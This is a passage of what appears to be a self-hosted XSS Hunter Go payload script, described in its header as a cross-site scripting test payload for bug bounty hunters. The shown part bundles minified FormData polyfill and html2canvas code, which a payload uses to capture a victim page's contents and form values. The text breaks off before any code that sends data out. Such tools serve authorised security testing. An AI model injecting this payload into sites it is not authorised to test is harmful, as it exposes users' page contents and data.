__$$\ $$ | 14 | $$ | $$ |$$ | $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$ | $$ | $$$$$$\ $$$$$$\ $$$$$$$ | 15 | $$$$$$$ |$$ |$$ __$$\ \____$$\ $$ _____|$$ __$$\ $$$$$$$ |$$ __$$\ \____$$\ $$ __$$ | 16 | $$ ____/ $$ |$$$$$$$$ | $$$$$$$ |\$$$$$$\ $$$$$$$$ | $$ __$$< $$$$$$$$ | $$$$$$$ |$$ / $$ | 17 | $$ | $$ |$$ ____|$$ __$$ | \____$$\ $$ ____| $$ | $$ |$$ ____|$$ __$$ |$$ | $$ | 18 | $$ | $$ |\$$$$$$$\ \$$$$$$$ |$$$$$$$ |\$$$$$$$\ $$ | $$ |\$$$$$$$\ \$$$$$$$ |\$$$$$$$ | 19 | \__| \__| \_______| \_______|\_______/ \_______| \__| \__| \_______| \_______| \_______| 20 | 21 | This is a payload to test for Cross-site Scripting (XSS). It is meant to be used by security professionals and bug bounty hunters. 22 | 23 | This is a self-hosted instance of XSS Hunter Go. It is not the same as the XSS Hunter website. 24 | */ 25 | 26 | // FormData polyfill https://github.com/jimmywarting/FormData 27 | if("undefined"!=typeof Blob&&("undefined"==typeof FormData||!FormData.prototype.keys)){const e="object"==typeof globalThis?globalThis:"object"==typeof window?window:"object"==typeof self?self:this,t=e.FormData,n=e.XMLHttpRequest&&e.XMLHttpRequest.prototype.send,o=e.Request&&e.fetch,a=e.navigator&&e.navigator.sendBeacon,s=e.Element&&e.Element.prototype,r=e.Symbol&&Symbol.toStringTag;r&&(Blob.prototype[r]||(Blob.prototype[r]="Blob"),"File"in e&&!File.prototype[r]&&(File.prototype[r]="File"));try{new File([],"")}catch(t){e.File=function(e,t,n){const o=new Blob(e,n),a=n&&void 0!==n.lastModified?new Date(n.lastModified):new Date;return Object.defineProperties(o,{name:{value:t},lastModifiedDate:{value:a},lastModified:{value:+a},toString:{value:()=>"[object File]"}}),r&&Object.defineProperty(o,r,{value:"File"}),o}}function normalizeValue([e,t,n]){return t instanceof Blob&&(t=new File([t],n,{type:t.type,lastModified:t.lastModified})),[e,t]}function ensureArgs(e,t){if(e.length{if(e.name&&!e.disabled&&"submit"!==e.type&&"button"!==e.type&&!e.matches("form fieldset[disabled] *"))if("file"===e.type){each(e.files&&e.files.length?e.files:[new File([],"",{type:"application/octet-stream"})],n=>{t.append(e.name,n)})}else if("select-multiple"===e.type||"select-one"===e.type)each(e.options,n=>{!n.disabled&&n.selected&&t.append(e.name,n.value)});else if("checkbox"===e.type||"radio"===e.type)e.checked&&t.append(e.name,e.value);else{const n="textarea"===e.type?normalizeLinefeeds(e.value):e.value;t.append(e.name,n)}})}append(e,t,n){ensureArgs(arguments,2),this._data.push(normalizeArgs(e,t,n))}delete(e){ensureArgs(arguments,1);const t=[];e=String(e),each(this._data,n=>{n[0]!==e&&t.push(n)}),this._data=t}*entries(){for(var e=0;e{n[0]===e&&t.push(normalizeValue(n)[1])}),t}has(e){ensureArgs(arguments,1),e=String(e);for(let t=0;t{t[0]===e?s&&(s=!o.push(a)):o.push(t)}),s&&o.push(a),this._data=o}*values(){for(const[,e]of this)yield e}_asNative(){const e=new t;for(const[t,n]of this)e.append(t,n);return e}_blob(){const e="----formdata-polyfill-"+Math.random(),t=[];for(const[n,o]of this)t.push(`--${e}\r\n`),o instanceof Blob?t.push(`Content-Disposition: form-data; name="${n}"; filename="${o.name}"\r\n`+`Content-Type: ${o.type||"application/octet-stream"}\r\n\r\n`,o,"\r\n"):t.push(`Content-Disposition: form-data; name="${n}"\r\n\r\n${o}\r\n`);return t.push(`--${e}--`),new Blob(t,{type:"multipart/form-data; boundary="+e})}[Symbol.iterator](){return this.entries()}toString(){return"[object FormData]"}}if(s&&!s.matches&&(s.matches=s.matchesSelector||s.mozMatchesSelector||s.msMatchesSelector||s.oMatchesSelector||s.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length;--n>=0&&t.item(n)!==this;);return n>-1}),r&&(i.prototype[r]="FormData"),n){const t=e.XMLHttpRequest.prototype.setRequestHeader;e.XMLHttpRequest.prototype.setRequestHeader=function(e,n){t.call(this,e,n),"content-type"===e.toLowerCase()&&(this._hasContentType=!0)},e.XMLHttpRequest.prototype.send=function(e){if(e instanceof i){const t=e._blob();this._hasContentType||this.setRequestHeader("Content-Type",t.type),n.call(this,t)}else n.call(this,e)}}o&&(e.fetch=function(e,t){return t&&t.body&&t.body instanceof i&&(t.body=t.body._blob()),o.call(this,e,t)}),a&&(e.navigator.sendBeacon=function(e,t){return t instanceof i&&(t=t._asNative()),a.call(this,e,t)}),e.FormData=i} 28 | 29 | // https://github.com/niklasvh/html2canvas 30 | !function(t,e,n){function r(t,e,n,r){return c(t,n,r,e).then(function(a){E("Document cloned");var c="["+Ee+"='true']";t.querySelector(c).removeAttribute(Ee);var h=a.contentWindow,u=h.document.querySelector(c),p=new de(h.document),l=new m(e,p),d=B(u),f="view"===e.type?Math.min(d.width,n):o(),g="view"===e.type?Math.min(d.height,r):s(),y=new xe(f,g,l,e),v=new P(u,y,p,l,e);return v.ready.then(function(){E("Finished rendering");var t="view"===e.type||u!==h.document.body&&u!==h.document.documentElement?i(y.canvas,d):y.canvas;return e.removeContainer&&(a.parentNode.removeChild(a),E("Cleaned up container")),t})})}function i(t,n){var r=e.createElement("canvas"),i=Math.min(t.width-1,Math.max(0,n.left)),o=Math.min(t.width,Math.max(1,n.left+n.width)),s=Math.min(t.height-1,Math.max(0,n.top)),a=Math.min(t.height,Math.max(1,n.top+n.height)),c=r.width=o-i,h=r.height=a-s;return E("Cropping canvas at:","left:",n.left,"top:",n.top,"width:",n.width,"height:",n.height),E("Resulting crop with width",c,"and height",h," with x",i,"and y",s),r.getContext("2d").drawImage(t,i,s,c,h,0,0,c,h),r}function o(){return Math.max(Math.max(e.body.scrollWidth,e.documentElement.scrollWidth),Math.max(e.body.offsetWidth,e.documentElement.offsetWidth),Math.max(e.body.clientWidth,e.documentElement.clientWidth))}function s(){return Math.max(Math.max(e.body.scrollHeight,e.documentElement.scrollHeight),Math.max(e.body.offsetHeight,e.documentElement.offsetHeight),Math.max(e.body.clientHeight,e.documentElement.clientHeight))}function a(){return"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"}function c(e,n,r,i){var o=e.documentElement.cloneNode(!0),s=e.createElement("iframe");return s.style.visibility="hidden",s.style.position="absolute",s.style.left=s.style.top="-10000px",s.width=n,s.height=r,s.scrolling="no",e.body.appendChild(s),new Promise(function(e){var n=s.contentWindow.document;s.contentWindow.onload=s.onload=function(){e(s)},n.open(),n.write(""),n.close(),n.replaceChild(h(n.adoptNode(o)),n.documentElement),"view"===i.type&&s.contentWindow.scrollTo(t.pageXOffset,t.pageYOffset)})}function h(t){return[].slice.call(t.childNodes,0).filter(u).forEach(function(e){"SCRIPT"===e.tagName?t.removeChild(e):h(e)}),t}function u(t){return t.nodeType===Node.ELEMENT_NODE}function p(t){if(this.src=t,E("DummyImageContainer for",t),!this.promise||!this.image){E("Initiating DummyImageContainer"),p.prototype.image=new Image;var e=this.image;p.prototype.promise=new Promise(function(t,n){e.onload=t,e.onerror=n,e.src=a(),e.complete===!0&&t(e)})}}function l(t,n){var r,i,o=e.createElement("div"),s=e.createElement("img"),c=e.createElement("span"),h="Hidden Text";o.style.visibility="hidden",o.style.fontFamily=t,o.style.fontSize=n,o.style.margin=0,o.style.padding=0,e.body.appendChild(o),s.src=a(),s.width=1,s.height=1,s.style.margin=0,s.style.padding=0,s.style.verticalAlign="baseline",c.style.fontFamily=t,c.style.fontSize=n,c.style.margin=0,c.style.padding=0,c.appendChild(e.createTextNode(h)),o.appendChild(c),o.appendChild(s),r=s.offsetTop-c.offsetTop+1,o.removeChild(c),o.appendChild(e.createTextNode(h)),o.style.lineHeight="normal",s.style.verticalAlign="super",i=s.offsetTop-o.offsetTop+1,e.body.removeChild(o),this.baseline=r,this.lineWidth=1,this.middle=i}function d(){this.data={}}function f(t){this.src=t.value,this.colorStops=[],this.type=null,this.x0=.5,this.y0=.5,this.x1=.5,this.y1=.5,this.promise=Promise.resolve(!0)}function g(t,e){this.src=t,this.image=new Image;var n=this;this.tainted=null,this.promise=new Promise(function(r,i){n.image.onload=r,n.image.onerror=i,e&&(n.image.crossOrigin="anonymous"),n.image.src=t,n.image.complete===!0&&r(n.image)})["catch"](function(){var e=new p(t);return e.promise.then(function(t){n.image=t})})}function m(e,n){this.link=null,this.options=e,this.support=n,this.origin=t.location.protocol+t.location.hostname+t.location.port}function y(t){return"IMG"===t.node.nodeName}function v(t){return"svg"===t.node.nodeName}function w(t){return{args:[t.node.src],method:"url"}}function b(t){return{args:[t.node],method:"svg"}}function x(t){f.apply(this,arguments),this.type=this.TYPES.LINEAR;var e=null===t.args[0].match(this.stepRegExp);e?t.args[0].split(" ").reverse().forEach(function(t){switch(t){case"left":this.x0=0,this.x1=1;break;case"top":this.y0=0,this.y1=1;break;case"right":this.x0=1,this.x1=0;break;case"bottom":this.y0=1,this.y1=0;break;case"to":var e=this.y0,n=this.x0;this.y0=this.y1,this.x0=this.x1,this.x1=n,this.y1=e;break;default:var r=t.match(this.angleRegExp);if(r)switch(r[2]){case"deg":var i=parseFloat(r[1]),o=i/(180/Math.PI),s=Math.tan(o);this.y0=2/Math.tan(s)/2,this.x0=0,this.x1=1,this.y1=0}}},this):(this.y0=0,this.y1=1),this.colorStops=t.args.slice(e?1:0).map(function(t){var e=t.match(this.stepRegExp);return{color:e[1],stop:"%"===e[3]?e[2]/100:null}},this),null===this.colorStops[0].stop&&(this.colorStops[0].stop=0),null===this.colorStops[this.colorStops.length-1].stop&&(this.colorStops[this.colorStops.length-1].stop=1),this.colorStops.forEach(function(t,e){null===t.stop&&this.colorStops.slice(e).some(function(n,r){return null!==n.stop?(t.stop=(n.stop-this.colorStops[e-1].stop)/(r+1)+this.colorStops[e-1].stop,!0):!1},this)},this)}function E(){t.html2canvas.logging&&t.console&&t.console.log&&Function.prototype.bind.call(t.console.log,t.console).apply(t.console,[Date.now()-t.html2canvas.start+"ms","html2canvas:"].concat([].slice.call(arguments,0)))}function T(t,e){this.node=t,this.parent=e,this.stack=null,this.bounds=null,this.offsetBounds=null,this.visible=null,this.computedStyles=null,this.styles={},this.backgroundImages=null,this.transformData=null,this.transformMatrix=null}function C(t){var e=t.options[t.selectedIndex||0];return e?e.text||"":""}function k(t){return t&&"matrix"===t[1]?t[2].split(",").map(function(t){return parseFloat(t.trim())}):void 0}function I(t){return-1!==t.toString().indexOf("%")}function S(t){var e,n,r,i,o,s,a,c=" \r\n ",h=[],u=0,p=0,l=function(){e&&('"'===n.substr(0,1)&&(n=n.substr(1,n.length-2)),n&&a.push(n),"-"===e.substr(0,1)&&(i=e.indexOf("-",1)+1)>0&&(r=e.substr(0,i),e=e.substr(i)),h.push({prefix:r,method:e.toLowerCase(),value:o,args:a,image:null})),a=[],e=r=n=o=""};return a=[],e=r=n=o="",t.split("").forEach(function(t){if(!(0===u&&c.indexOf(t)>-1)){switch(t){case'"':s?s===t&&(s=null):s=t;break;case"(":if(s)break;if(0===u)return u=1,void(o+=t);p++;break;case")":if(s)break;if(1===u){if(0===p)return u=0,o+=t,void l();p--}break;case",":if(s)break;if(0===u)return void l();if(1===u&&0===p&&!e.match(/^url$/i))return a.push(n),n="",void(o+=t)}o+=t,0===u?e+=t:n+=t}}),l(),h}function R(t){return t.replace("px","")}function O(t){return parseFloat(t)}function B(t){if(t.getBoundingClientRect){var e=t.getBoundingClientRect(),n="BODY"===t.nodeName,r=n?t.scrollWidth:null==t.offsetWidth?e.width:t.offsetWidth;return{top:e.top,bottom:e.bottom||e.top+e.height,right:e.left+r,left:e.left,width:r,height:n?t.scrollHeight:null==t.offsetHeight?e.height:t.offsetHeight}}return{}}function M(t){var e=t.offsetParent?M(t.offsetParent):{top:0,left:0};return{top:t.offsetTop+e.top,bottom:t.offsetTop+t.offsetHeight+e.top,right:t.offsetLeft+e.left+t.offsetWidth,left:t.offsetLeft+e.left,width:t.offsetWidth,height:t.offsetHeight}}function P(t,e,n,r,i){E("Starting NodeParser"),this.renderer=e,this.options=i,this.range=null,this.support=n,this.renderQueue=[],this.stack=new le(!0,1,t.ownerDocument,null);var o=new T(t,null);t!==t.ownerDocument.documentElement&&this.renderer.isTransparent(o.css("backgroundColor"))&&e.rectangle(0,0,e.width,e.height,new T(t.ownerDocument.documentElement,null).css("backgroundColor")),o.visibile=o.isElementVisible(),this.createPseudoHideStyles(t.ownerDocument),this.nodes=ce([o].concat(this.getChildren(o)).filter(function(t){return t.visible=t.isElementVisible()}).map(this.getPseudoElements,this)),this.fontMetrics=new d,E("Fetched nodes"),this.images=r.fetch(this.nodes.filter(te)),E("Creating stacking contexts"),this.createStackingContexts(),E("Sorting stacking contexts"),this.sortStackingContexts(this.stack),this.ready=this.images.ready.then(ie(function(){return E("Images loaded, starting parsing"),this.parse(this.stack),E("Render queue created with "+this.renderQueue.length+" items"),new Promise(ie(function(t){i.async?"function"==typeof i.async?i.async.call(this,this.renderQueue,t):(this.renderIndex=0,this.asyncRenderer(this.renderQueue,t)):(this.renderQueue.forEach(this.paint,this),t())},this))},this))}function A(t){return t.replace(/(\-[a-z])/g,function(t){return t.toUpperCase().replace("-","")})}function N(){}function L(t,e,n,r){var i=4*((Math.sqrt(2)-1)/3),o=n*i,s=r*i,a=t+n,c=e+r;return{topLeft:_({x:t,y:c},{x:t,y:c-s},{x:a-o,y:e},{x:a,y:e}),topRight:_({x:t,y:e},{x:t+o,y:e},{x:a,y:c-s},{x:a,y:c}),bottomRight:_({x:a,y:e},{x:a,y:e+s},{x:t+o,y:c},{x:t,y:c}),bottomLeft:_({x:a,y:c},{x:a-o,y:c},{x:t,y:e+s},{x:t,y:e})}}function D(t,e,n){var r=t.left,i=t.top,o=t.width,s=t.height,a=e[0][0],c=e[0][1],h=e[1][0],u=e[1][1],p=e[2][0],l=e[2][1],d=e[3][0],f=e[3][1],g=o-h,m=s-l,y=o-p,v=s-f;return{topLeftOuter:L(r,i,a,c).topLeft.subdivide(.5),topLeftInner:L(r+n[3].width,i+n[0].width,Math.max(0,a-n[3].width),Math.max(0,c-n[0].width)).topLeft.subdivide(.5),topRightOuter:L(r+g,i,h,u).topRight.subdivide(.5),topRightInner:L(r+Math.min(g,o+n[3].width),i+n[0].width,g>o+n[3].width?0:h-n[3].width,u-n[0].width).topRight.subdivide(.5),bottomRightOuter:L(r+y,i+m,p,l).bottomRight.subdivide(.5),bottomRightInner:L(r+Math.min(y,o+n[3].width),i+Math.min(m,s+n[0].width),Math.max(0,p-n[1].width),Math.max(0,l-n[2].width)).bottomRight.subdivide(.5),bottomLeftOuter:L(r,i+v,d,f).bottomLeft.subdivide(.5),bottomLeftInner:L(r+n[3].width,i+v,Math.max(0,d-n[3].width),Math.max(0,f-n[2].width)).bottomLeft.subdivide(.5)}}function _(t,e,n,r){var i=function(t,e,n){return{x:t.x+(e.x-t.x)*n,y:t.y+(e.y-t.y)*n}};return{start:t,startControl:e,endControl:n,end:r,subdivide:function(o){var s=i(t,e,o),a=i(e,n,o),c=i(n,r,o),h=i(s,a,o),u=i(a,c,o),p=i(h,u,o);return[_(t,s,h,p),_(p,u,c,r)]},curveTo:function(t){t.push(["bezierCurve",e.x,e.y,n.x,n.y,r.x,r.y])},curveToReversed:function(r){r.push(["bezierCurve",n.x,n.y,e.x,e.y,t.x,t.y])}}}function F(t,e,n,r,i,o,s){var a=[];return e[0]>0||e[1]>0?(a.push(["line",r[1].start.x,r[1].start.y]),r[1].curveTo(a)):a.push(["line",t.c1[0],t.c1[1]]),n[0]>0||n[1]>0?(a.push(["line",o[0].start.x,o[0].start.y]),o[0].curveTo(a),a.push(["line",s[0].end.x,s[0].end.y]),s[0].curveToReversed(a)):(a.push(["line",t.c2[0],t.c2[1]]),a.push(["line",t.c3[0],t.c3[1]])),e[0]>0||e[1]>0?(a.push(["line",i[1].end.x,i[1].end.y]),i[1].curveToReversed(a)):a.push(["line",t.c4[0],t.c4[1]]),a}function W(t,e,n,r,i,o,s){e[0]>0||e[1]>0?(t.push(["line",r[0].start.x,r[0].start.y]),r[0].curveTo(t),r[1].curveTo(t)):t.push(["line",o,s]),(n[0]>0||n[1]>0)&&t.push(["line",i[0].start.x,i[0].start.y])}function H(t){return t.cssInt("zIndex")<0}function j(t){return t.cssInt("zIndex")>0}function V(t){return 0===t.cssInt("zIndex")}function z(t){return-1!==["inline","inline-block","inline-table"].indexOf(t.css("display"))}function Y(t){return t instanceof le}function X(t){return t.node.data.trim().length>0}function G(t){return/^(normal|none|0px)$/.test(t.parent.css("letterSpacing"))}function U(t){return["TopLeft","TopRight","BottomRight","BottomLeft"].map(function(e){var n=t.css("border"+e+"Radius"),r=n.split(" ");return r.length<=1&&(r[1]=r[0]),r.map(oe)})}function Q(t){return t.nodeType===Node.TEXT_NODE||t.nodeType===Node.ELEMENT_NODE}function q(t){var e=t.css("position"),n="absolute"===e||"relative"===e?t.css("zIndex"):"auto";return"auto"!==n}function $(t){return"static"!==t.css("position")}function J(t){return"none"!==t.css("float")}function K(t){return-1!==["inline-block","inline-table"].indexOf(t.css("display"))}function Z(t){var e=this;return function(){return!t.apply(e,arguments)}}function te(t){return t.node.nodeType===Node.ELEMENT_NODE}function ee(t){return t.node.nodeType===Node.TEXT_NODE}function ne(t,e){return t.cssInt("zIndex")-e.cssInt("zIndex")}function re(t){return t.css("opacity")<1}function ie(t,e){return function(){return t.apply(e,arguments)}}function oe(t){return parseInt(t,10)}function se(t){return t.width}function ae(t){return t.node.nodeType!==Node.ELEMENT_NODE||-1===["SCRIPT","HEAD","TITLE","OBJECT","BR","OPTION"].indexOf(t.node.nodeName)}function ce(t){return[].concat.apply([],t)}function he(t){var e=t.substr(0,1);return e===t.substr(t.length-1)&&e.match(/'|"/)?t.substr(1,t.length-2):t}function ue(r,i){var o="html2canvas_"+Te++,s=e.createElement("script"),a=e.createElement("a");a.href=r,r=a.href;var c=i+(i.indexOf("?")>-1?"&":"?")+"url="+encodeURIComponent(r)+"&callback="+o;this.src=r,this.image=new Image;var h=this;this.promise=new Promise(function(r,i){h.image.onload=r,h.image.onerror=i,t[o]=function(e){"error:"===e.substring(0,6)?i():h.image.src=e,t[o]=n;try{delete t[o]}catch(r){}s.parentNode.removeChild(s)},s.setAttribute("type","text/javascript"),s.setAttribute("src",c),e.body.appendChild(s)})["catch"](function(){var t=new p(r);return t.promise.then(function(t){h.image=t})})}function pe(t,e,n,r){this.width=t,this.height=e,this.images=n,this.options=r}function le(t,e,n,r){T.call(this,n,r),this.ownStacking=t,this.contexts=[],this.children=[],this.opacity=(this.parent?this.parent.stack.opacity:1)*e}function de(t){this.rangeBounds=this.testRangeBounds(t),this.cors=this.testCORS(),this.svg=this.testSVG()}function fe(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return e.isInline(t)?Promise.resolve(e.inlineFormatting(t)):be(t)}).then(function(t){return new Promise(function(n){html2canvas.fabric.loadSVGFromString(t,e.createCanvas.call(e,n))})})}function ge(t){var e,n,r,i,o,s,a,c,h="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",u=t.length,p="";for(e=0;u>e;e+=4)n=h.indexOf(t[e]),r=h.indexOf(t[e+1]),i=h.indexOf(t[e+2]),o=h.indexOf(t[e+3]),s=n<<2|r>>4,a=(15&r)<<4|i>>2,c=(3&i)<<6|o,p+=64===i?String.fromCharCode(s):64===o||-1===o?String.fromCharCode(s,a):String.fromCharCode(s,a,c);return p}function me(t){this.src=t,this.image=null;var e=this;this.promise=this.hasFabric().then(function(){return new Promise(function(n){html2canvas.fabric.parseSVGDocument(t,e.createCanvas.call(e,n))})})}function ye(t,e){T.call(this,t,e)}function ve(t,e,n){return t.length>0?e+n.toUpperCase():void 0}function we(t){f.apply(this,arguments),this.type="linear"===t.args[0]?this.TYPES.LINEAR:this.TYPES.RADIAL}function be(t){return new Promise(function(e,n){var r=new XMLHttpRequest;r.open("GET",t),r.onload=function(){200===r.status?e(r.responseText):n(new Error(r.statusText))},r.onerror=function(){n(new Error("Network Error"))},r.send()})}function xe(t,n){pe.apply(this,arguments),this.canvas=e.createElement("canvas"),this.canvas.width=t,this.canvas.height=n,this.ctx=this.canvas.getContext("2d"),this.taintCtx=e.createElement("canvas").getContext("2d"),this.ctx.textBaseline="bottom",this.variables={},E("Initialized CanvasRenderer")}if(!function(){var n,r,i,o;!function(){var t={},e={};n=function(e,n,r){t[e]={deps:n,callback:r}},o=i=r=function(n){function i(t){if("."!==t.charAt(0))return t;for(var e=t.split("/"),r=n.split("/").slice(0,-1),i=0,o=e.length;o>i;i++){var s=e[i];if(".."===s)r.pop();else{if("."===s)continue;r.push(s)}}return r.join("/")}if(o._eak_seen=t,e[n])return e[n];if(e[n]={},!t[n])throw new Error("Could not find module "+n);for(var s,a=t[n],c=a.deps,h=a.callback,u=[],p=0,l=c.length;l>p;p++)u.push("exports"===c[p]?s={}:r(i(c[p])));var d=h.apply(this,u);return e[n]=s||d}}(),n("promise/all",["./utils","exports"],function(t,e){"use strict";function n(t){var e=this;if(!r(t))throw new TypeError("You must pass an array to all.");return new e(function(e,n){function r(t){return function(e){o(t,e)}}function o(t,n){a[t]=n,0===--c&&e(a)}var s,a=[],c=t.length;0===c&&e([]);for(var h=0;hs^"contain"===o[0]?{width:t.height*a,height:t.height}:{width:t.width,height:t.width/a}}r=parseInt(o[0],10)}return i="auto"===o[0]&&"auto"===o[1]?e.height:"auto"===o[1]?r/e.width*e.height:I(o[1])?t.height*parseFloat(o[1])/100:parseInt(o[1],10),"auto"===o[0]&&(r=i/e.height*e.width),{width:r,height:i}},T.prototype.parseBackgroundPosition=function(t,e,n,r){var i,o,s=this.cssList("backgroundPosition",n);return i=I(s[0])?(t.width-(r||e).width)*(parseFloat(s[0])/100):parseInt(s[0],10),o="auto"===s[1]?i/e.width*e.height:I(s[1])?(t.height-(r||e).height)*parseFloat(s[1])/100:parseInt(s[1],10),"auto"===s[0]&&(i=o/e.height*e.width),{left:i,top:o}},T.prototype.parseBackgroundRepeat=function(t){return this.cssList("backgroundRepeat",t)[0]},T.prototype.parseTextShadows=function(){var t=this.css("textShadow"),e=[];if(t&&"none"!==t)for(var n=t.match(this.TEXT_SHADOW_PROPERTY),r=0;n&&rDate.now()?this.asyncRenderer(t,e,n):setTimeout(ie(function(){this.asyncRenderer(t,e)},this),0)},P.prototype.createPseudoHideStyles=function(t){var e=t.createElement("style");e.innerHTML="."+this.pseudoHideClass+':before { content: "" !important; display: none !important; }.'+this.pseudoHideClass+':after { content: "" !important; display: none !important; }',t.body.appendChild(e)},P.prototype.getPseudoElements=function(t){var e=[[t]];if(t.node.nodeType===Node.ELEMENT_NODE){var n=this.getPseudoElement(t,":before"),r=this.getPseudoElement(t,":after");n&&(t.node.insertBefore(n[0].node,t.node.firstChild),e.push(n)),r&&(t.node.appendChild(r[0].node),e.push(r)),(n||r)&&(t.node.className+=" "+this.pseudoHideClass)}return ce(e)},P.prototype.getPseudoElement=function(t,n){var r=t.computedStyle(n);if(!r||!r.content||"none"===r.content||"-moz-alt-content"===r.content||"none"===r.display)return null;for(var i=he(r.content),o="url"===i.substr(0,3),s=e.createElement(o?"img":"html2canvaspseudoelement"),a=new T(s,t),c=r.length-1;c>=0;c--){var h=A(r.item(c));s.style[h]=r[h]}if(s.className=this.pseudoHideClass,o)return s.src=S(i)[0].args[0],[a];var u=e.createTextNode(i);return s.appendChild(u),[a,new ye(u,a)]},P.prototype.getChildren=function(t){return ce([].filter.call(t.node.childNodes,Q).map(function(e){var n=[e.nodeType===Node.TEXT_NODE?new ye(e,t):new T(e,t)].filter(ae);return e.nodeType===Node.ELEMENT_NODE&&n.length&&"TEXTAREA"!==e.tagName?n[0].isElementVisible()?n.concat(this.getChildren(n[0])):[]:n},this))},P.prototype.newStackingContext=function(t,e){var n=new le(e,t.cssFloat("opacity"),t.node,t.parent);n.visible=t.visible;var r=e?n.getParentStack(this):n.parent.stack;r.contexts.push(n),t.stack=n},P.prototype.createStackingContexts=function(){this.nodes.forEach(function(t){te(t)&&(this.isRootElement(t)||re(t)||q(t)||this.isBodyWithTransparentRoot(t)||t.hasTransform())?this.newStackingContext(t,!0):te(t)&&($(t)&&V(t)||K(t)||J(t))?this.newStackingContext(t,!1):t.assignStack(t.parent.stack)},this)},P.prototype.isBodyWithTransparentRoot=function(t){return"BODY"===t.node.nodeName&&this.renderer.isTransparent(t.parent.css("backgroundColor"))},P.prototype.isRootElement=function(t){return null===t.parent},P.prototype.sortStackingContexts=function(t){t.contexts.sort(ne),t.contexts.forEach(this.sortStackingContexts,this)},P.prototype.parseTextBounds=function(t){return function(e,n,r){if("none"!==t.parent.css("textDecoration").substr(0,4)||0!==e.trim().length){if(this.support.rangeBounds&&!t.parent.hasTransform()){var i=r.slice(0,n).join("").length;return this.getRangeBounds(t.node,i,e.length)}if(t.node&&"string"==typeof t.node.data){var o=t.node.splitText(e.length),s=this.getWrapperBounds(t.node,t.parent.hasTransform());return t.node=o,s}}else(!this.support.rangeBounds||t.parent.hasTransform())&&(t.node=t.node.splitText(e.length));return{}}},P.prototype.getWrapperBounds=function(t,e){var n=t.ownerDocument.createElement("html2canvaswrapper"),r=t.parentNode,i=t.cloneNode(!0);n.appendChild(t.cloneNode(!0)),r.replaceChild(n,t);var o=e?M(n):B(n);return r.replaceChild(i,n),o},P.prototype.getRangeBounds=function(t,e,n){var r=this.range||(this.range=t.ownerDocument.createRange());return r.setStart(t,e),r.setEnd(t,e+n),r.getBoundingClientRect()},P.prototype.parse=function(t){var e=t.contexts.filter(H),n=t.children.filter(te),r=n.filter(Z(J)),i=r.filter(Z($)).filter(Z(z)),o=n.filter(Z($)).filter(J),s=r.filter(Z($)).filter(z),a=t.contexts.concat(r.filter($)).filter(V),c=t.children.filter(ee).filter(X),h=t.contexts.filter(j);e.concat(i).concat(o).concat(s).concat(a).concat(c).concat(h).forEach(function(t){this.renderQueue.push(t),Y(t)&&(this.parse(t),this.renderQueue.push(new N))},this)},P.prototype.paint=function(t){try{t instanceof N?this.renderer.ctx.restore():ee(t)?this.paintText(t):this.paintNode(t)}catch(e){E(e)}},P.prototype.paintNode=function(t){Y(t)&&(this.renderer.setOpacity(t.opacity),this.renderer.ctx.save(),t.hasTransform()&&this.renderer.setTransform(t.parseTransform()));var e=t.parseBounds(),n=this.parseBorders(t);switch(this.renderer.clip(n.clip,function(){this.renderer.renderBackground(t,e,n.borders.map(se))},this),this.renderer.renderBorders(n.borders),t.node.nodeName){case"svg":var r=this.images.get(t.node);r?this.renderer.renderImage(t,e,n,r):E("Error loading ",t.node);break;case"IMG":var i=this.images.get(t.node.src);i?this.renderer.renderImage(t,e,n,i):E("Error loading ",t.node.src);break;case"SELECT":case"INPUT":case"TEXTAREA":this.paintFormValue(t)}},P.prototype.paintFormValue=function(t){if(t.getValue().length>0){var e=t.node.ownerDocument,n=e.createElement("html2canvaswrapper"),r=["lineHeight","textAlign","fontFamily","fontWeight","fontSize","color","paddingLeft","paddingTop","paddingRight","paddingBottom","width","height","borderLeftStyle","borderTopStyle","borderLeftWidth","borderTopWidth","boxSizing","whiteSpace","wordWrap"]; 31 | r.forEach(function(e){try{n.style[e]=t.css(e)}catch(r){E("html2canvas: Parse: Exception caught in renderFormValue: "+r.message)}});var i=t.parseBounds();n.style.position="absolute",n.style.left=i.left+"px",n.style.top=i.top+"px",n.textContent=t.getValue(),e.body.appendChild(n),this.paintText(new ye(n.firstChild,t)),e.body.removeChild(n)}},P.prototype.paintText=function(t){t.applyTextTransform();var e=t.node.data.split(!this.options.letterRendering||G(t)?/(\b| )/:""),n=t.parent.fontWeight(),r=t.parent.css("fontSize"),i=t.parent.css("fontFamily"),o=t.parent.parseTextShadows();this.renderer.font(t.parent.css("color"),t.parent.css("fontStyle"),t.parent.css("fontVariant"),n,r,i),o.length?this.renderer.fontShadow(o[0].color,o[0].offsetX,o[0].offsetY,o[0].blur):this.renderer.clearShadow(),e.map(this.parseTextBounds(t),this).forEach(function(n,o){n&&(this.renderer.text(e[o],n.left,n.bottom),this.renderTextDecoration(t.parent,n,this.fontMetrics.getMetrics(i,r)))},this)},P.prototype.renderTextDecoration=function(t,e,n){switch(t.css("textDecoration").split(" ")[0]){case"underline":this.renderer.rectangle(e.left,Math.round(e.top+n.baseline+n.lineWidth),e.width,1,t.css("color"));break;case"overline":this.renderer.rectangle(e.left,Math.round(e.top),e.width,1,t.css("color"));break;case"line-through":this.renderer.rectangle(e.left,Math.ceil(e.top+n.middle+n.lineWidth),e.width,1,t.css("color"))}},P.prototype.parseBorders=function(t){var e=t.bounds,n=U(t),r=["Top","Right","Bottom","Left"].map(function(e){return{width:t.cssInt("border"+e+"Width"),color:t.css("border"+e+"Color"),args:null}}),i=D(e,n,r);return{clip:this.parseBackgroundClip(t,i,r,n,e),borders:r.map(function(t,o){if(t.width>0){var s=e.left,a=e.top,c=e.width,h=e.height-r[2].width;switch(o){case 0:h=r[0].width,t.args=F({c1:[s,a],c2:[s+c,a],c3:[s+c-r[1].width,a+h],c4:[s+r[3].width,a+h]},n[0],n[1],i.topLeftOuter,i.topLeftInner,i.topRightOuter,i.topRightInner);break;case 1:s=e.left+e.width-r[1].width,c=r[1].width,t.args=F({c1:[s+c,a],c2:[s+c,a+h+r[2].width],c3:[s,a+h],c4:[s,a+r[0].width]},n[1],n[2],i.topRightOuter,i.topRightInner,i.bottomRightOuter,i.bottomRightInner);break;case 